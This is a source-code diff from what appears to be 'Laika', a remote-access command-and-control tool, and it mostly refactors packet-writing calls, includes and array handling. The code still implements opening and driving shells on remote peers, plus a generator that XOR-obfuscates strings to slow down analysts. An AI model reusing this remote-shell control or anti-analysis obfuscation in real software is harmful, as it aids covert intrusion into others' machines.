laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
|
||||
laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t));
|
||||
laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t));
|
||||
laikaS_writeu16(&client->peer->sock, col);
|
||||
laikaS_writeu16(&client->peer->sock, row);
|
||||
laikaS_endOutPacket(client->peer);
|
||||
client->openShell = peer;
|
||||
}
|
||||
@@ -414,7 +411,7 @@ void shellC_closeShell(tShell_client *client)
|
||||
|
||||
/* send SHELL_CLOSE request */
|
||||
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_writeu32(&client->peer->sock, id);
|
||||
laikaS_endOutPacket(client->peer);
|
||||
|
||||
client->openShell = NULL;
|
||||
@@ -429,7 +426,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
|
||||
return;
|
||||
|
||||
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(sock, &id, sizeof(uint32_t));
|
||||
laikaS_writeu32(sock, id);
|
||||
switch (client->openShell->osType) {
|
||||
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
|
||||
converted! */
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "scmd.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "sclient.h"
|
||||
#include "speer.h"
|
||||
#include "sterm.h"
|
||||
@@ -23,7 +23,7 @@ tShell_cmdDef *shellS_findCmd(char *cmd);
|
||||
|
||||
tShell_peer *shellS_getPeer(tShell_client *client, int id)
|
||||
{
|
||||
if (id < 0 || id >= client->peerTblCount || client->peerTbl[id] == NULL)
|
||||
if (id < 0 || id >= laikaM_countVector(client->peerTbl) || client->peerTbl[id] == NULL)
|
||||
CMD_ERROR("Not a valid peer ID! [%d]\n", id);
|
||||
|
||||
return client->peerTbl[id];
|
||||
@@ -48,7 +48,7 @@ void listPeersCMD(tShell_client *client, int argc, char *argv[])
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < client->peerTblCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
|
||||
if (client->peerTbl[i]) {
|
||||
shellT_printf("%04d ", i);
|
||||
shellP_printInfo(client->peerTbl[i]);
|
||||
@@ -84,7 +84,7 @@ void openShellCMD(tShell_client *client, int argc, char *argv[])
|
||||
id = shellS_readInt(argv[1]);
|
||||
peer = shellS_getPeer(client, id);
|
||||
|
||||
PRINTINFO("Opening shell on peer %04d...\n");
|
||||
PRINTINFO("Opening shell on peer %04d...\n", id);
|
||||
PRINTINFO("Use CTRL+A to kill the shell\n");
|
||||
|
||||
/* open shell on peer */
|
||||
@@ -172,11 +172,10 @@ void shellS_cleanupCmds(void)
|
||||
|
||||
char **shellS_splitCmd(char *cmd, int *argSize)
|
||||
{
|
||||
int argCount = 0;
|
||||
int argCap = 4;
|
||||
char *temp;
|
||||
char **args = NULL;
|
||||
char *arg = cmd;
|
||||
laikaM_newVector(char *, args);
|
||||
laikaM_initVector(args, 4);
|
||||
|
||||
do {
|
||||
/* replace space with NULL terminator */
|
||||
@@ -192,12 +191,12 @@ char **shellS_splitCmd(char *cmd, int *argSize)
|
||||
*arg++ = '\0';
|
||||
}
|
||||
|
||||
/* insert into our 'args' array */
|
||||
laikaM_growarray(char *, args, 1, argCount, argCap);
|
||||
args[argCount++] = arg;
|
||||
/* insert into our 'args' vector */
|
||||
laikaM_growVector(char *, args, 1);
|
||||
args[laikaM_countVector(args)++] = arg;
|
||||
} while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */
|
||||
|
||||
*argSize = argCount;
|
||||
*argSize = laikaM_countVector(args);
|
||||
return args;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "speer.h"
|
||||
|
||||
#include "lmem.h"
|
||||
#include "lpacket.h"
|
||||
#include "core/lmem.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "sterm.h"
|
||||
|
||||
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#include "sterm.h"
|
||||
|
||||
#include "lmem.h"
|
||||
#include "core/lmem.h"
|
||||
#include "scmd.h"
|
||||
|
||||
#define KEY_ESCAPE 0x001b
|
||||
@@ -15,8 +15,42 @@
|
||||
#define cursorBackward(x) printf("\033[%dD", (x))
|
||||
#define clearLine() printf("\033[2K")
|
||||
|
||||
/* =================================[[ DEPRECATED ARRAY API ]]================================== */
|
||||
|
||||
/*
|
||||
this whole target needs to be rewritten, so these macros have been embedded here until a
|
||||
rewrite can be done. this is the only section of the entire codebase that relies too heavily
|
||||
on these to quickly exchange into the vector api equivalent. there's technically a memory leak
|
||||
here since the array is never free'd, but since the array is expected to live the entire
|
||||
lifetime of the program it's safe to leave as-is for now.
|
||||
*/
|
||||
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
|
||||
}
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i, _sz = ((count - indx) - numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx + _i] = buf[indx + numElem + _i]; \
|
||||
count -= numElem; \
|
||||
} while (0);
|
||||
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i - 1]; \
|
||||
count += numElem; \
|
||||
} while (0);
|
||||
|
||||
struct termios orig_termios;
|
||||
char *cmd, *prompt = "$> ";
|
||||
char *cmd = NULL, *prompt = "$> ";
|
||||
int cmdCount = 0, cmdCap = 4, cmdCursor = 0;
|
||||
|
||||
void shellT_conioTerm(void)
|
||||
|
||||
@@ -9,6 +9,3 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
|
||||
file(GLOB_RECURSE GENKEYSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
add_executable(genKey ${GENKEYSOURCE})
|
||||
target_link_libraries(genKey PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(genKey PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#include "lerror.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lsodium.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
@@ -10,9 +10,6 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
add_executable(VMBoxGen ${VMTESTSOURCE})
|
||||
target_link_libraries(VMBoxGen PUBLIC)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(VMBoxGen PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
# generate the VMBOXCONFIG file
|
||||
if(LAIKA_OBFUSCATE)
|
||||
add_custom_command(TARGET VMBoxGen POST_BUILD
|
||||
|
||||
@@ -13,11 +13,12 @@
|
||||
} while (0);
|
||||
#define RANDBYTE (rand() % UINT8_MAX)
|
||||
|
||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c "
|
||||
"*/\n#ifndef LAIKA_VMBOX_CONFIG_H\n#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||
static const char *PREAMBLE = "/* file generated by VMBoxGen, see tools/vmboxgen/src/main.c */\n"
|
||||
"#ifndef LAIKA_VMBOX_CONFIG_H\n"
|
||||
"#define LAIKA_VMBOX_CONFIG_H\n\n";
|
||||
static const char *POSTAMBLE = "\n#endif\n";
|
||||
|
||||
void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
static void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
{
|
||||
int i;
|
||||
|
||||
@@ -28,18 +29,18 @@ void writeArray(FILE *out, uint8_t *data, int sz)
|
||||
fprintf(out, "0x%02x};\n", data[sz - 1]);
|
||||
}
|
||||
|
||||
void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||
static void writeDefineArray(FILE *out, char *ident, uint8_t *data)
|
||||
{
|
||||
fprintf(out, "#define %s ", ident);
|
||||
writeArray(out, data, LAIKA_VM_CODESIZE);
|
||||
}
|
||||
|
||||
void writeDefineVal(FILE *out, char *ident, int data)
|
||||
static void writeDefineVal(FILE *out, char *ident, int data)
|
||||
{
|
||||
fprintf(out, "#define %s 0x%02x\n", ident, data);
|
||||
}
|
||||
|
||||
void addPadding(uint8_t *data, int start)
|
||||
static void addPadding(uint8_t *data, int start)
|
||||
{
|
||||
int i;
|
||||
|
||||
@@ -49,15 +50,15 @@ void addPadding(uint8_t *data, int start)
|
||||
}
|
||||
}
|
||||
|
||||
void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
static void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < sz; i++)
|
||||
buff[i] = data[i] ^ key;
|
||||
|
||||
buff[i++] = key; /* add the null terminator */
|
||||
addPadding(buff, i);
|
||||
buff[i++] = key; /* add the null terminator (key ^ key = 0x00) */
|
||||
addPadding(buff, i); /* fill in the remaining bytes with semi-rand padding */
|
||||
}
|
||||
|
||||
#define MAKESKIDDATA(macro) \
|
||||
@@ -69,14 +70,17 @@ void makeSKIDdata(char *data, int sz, uint8_t *buff, int key)
|
||||
int main(int argv, char **argc)
|
||||
{
|
||||
uint8_t tmpBuff[LAIKA_VM_CODESIZE];
|
||||
int key;
|
||||
FILE *out;
|
||||
char *fileName;
|
||||
int key;
|
||||
|
||||
if (argv < 2)
|
||||
ERR("USAGE: %s [OUTFILE]\n", argv > 0 ? argc[0] : "BoxGen");
|
||||
|
||||
if ((out = fopen(argc[1], "w+")) == NULL)
|
||||
ERR("Failed to open %s!\n", argc[1]);
|
||||
/* open output file */
|
||||
fileName = argc[1];
|
||||
if ((out = fopen(fileName, "w+")) == NULL)
|
||||
ERR("Failed to open %s!\n", fileName);
|
||||
|
||||
srand(time(NULL)); /* really doesn't need to be cryptographically secure, the point is only to
|
||||
slow them down */
|
||||
@@ -100,8 +104,8 @@ int main(int argv, char **argc)
|
||||
fprintf(out, POSTAMBLE);
|
||||
fclose(out);
|
||||
|
||||
printf("Wrote %s\n", argc[1]);
|
||||
printf("Laika VMBox data header dumped to '%s'\n", fileName);
|
||||
return 0;
|
||||
}
|
||||
|
||||
#undef MAKEDATA
|
||||
#undef MAKESKIDDATA
|
||||
|
||||
@@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
|
||||
add_executable(vmTest ${VMTESTSOURCE})
|
||||
target_link_libraries(vmTest PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#include "lbox.h"
|
||||
#include "lvm.h"
|
||||
#include "core/lbox.h"
|
||||
#include "core/lvm.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
Reference in New Issue
Block a user